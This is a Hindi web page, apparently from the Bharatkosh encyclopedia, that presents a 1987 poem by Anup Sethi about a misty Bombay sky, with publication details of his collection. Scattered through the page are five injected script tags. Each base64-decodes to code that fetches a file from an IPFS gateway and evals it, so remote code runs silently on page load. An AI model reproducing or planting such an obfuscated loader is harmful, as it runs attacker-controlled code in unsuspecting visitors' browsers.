|
यह लेख स्वतंत्र लेखन श्रेणी का लेख है। इस लेख में प्रयुक्त सामग्री, जैसे कि तथ्य, आँकड़े, विचार, चित्र आदि का, संपूर्ण उत्तरदायित्व इस लेख के लेखक/लेखकों का है भारतकोश का नहीं।
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
तुम भी यहीं हो कहीं शायद -अनूप सेठी
|
|
कवि
|
अनूप सेठी
|
मूल शीर्षक
|
जगत में मेला
|
प्रकाशक
|
आधार प्रकाशन प्राइवेट लिमिटेड, एस. सी. एफ. 267, सेक्टर 16, पंचकूला - 134113 (हरियाणा)
|
प्रकाशन तिथि
|
2002
|
देश
|
भारत
|
पृष्ठ:
|
131
|
भाषा
|
हिन्दी
|
विषय
|
कविता
|
प्रकार
|
काव्य संग्रह
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
किसी दिन अचानक
सुबह, शाम या रात में
आंखों के सामने आ खड़ा हो आसमान
भुरभुरी धुंध, बादल पहाड़ी पर चढ़ आएं
स्लेट की छतों को ढक लें धीरे धीरे
चीड़ की नुकीली पत्तियां एक एक बूंद को थामे रहें
किसी दिन अचानक
सुबह, शाम या रात में
खिड़की ज़रा सा पर्दे को हिलाकर
कुर्सी पर आ बिराजे
आंखों के सामने आसमान
व्यस्त लोगों के कँधे झकझोर के पूछूं
देखा तुमने दूधिया था आसमान
बूँद दो बूँद गिरेंगी
कम हो जाए बम्बई में गर्मी शायद
ट्रेनें तो पर चल रही हैं नियमित
चिकनी ढीठ अरब की खाड़ी
जाओ तुम भी लादो उतारो जहाज़
छाती पर व्यापारियों का बोझ ढोना ही बदा है
मुझे तो छुट्टी दे दो आज
आसमान से संवाद कर लूँ
आविदा परवीन को सुन लूँ
धुँध के रेशों से सवा दो अक्षर की कहानी बुन लूँ
विजय कुमार की कविताएं पढ़ लूँ
अदृश्य हो जाएँगी सूखी पत्तियाँ।
(1987)
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>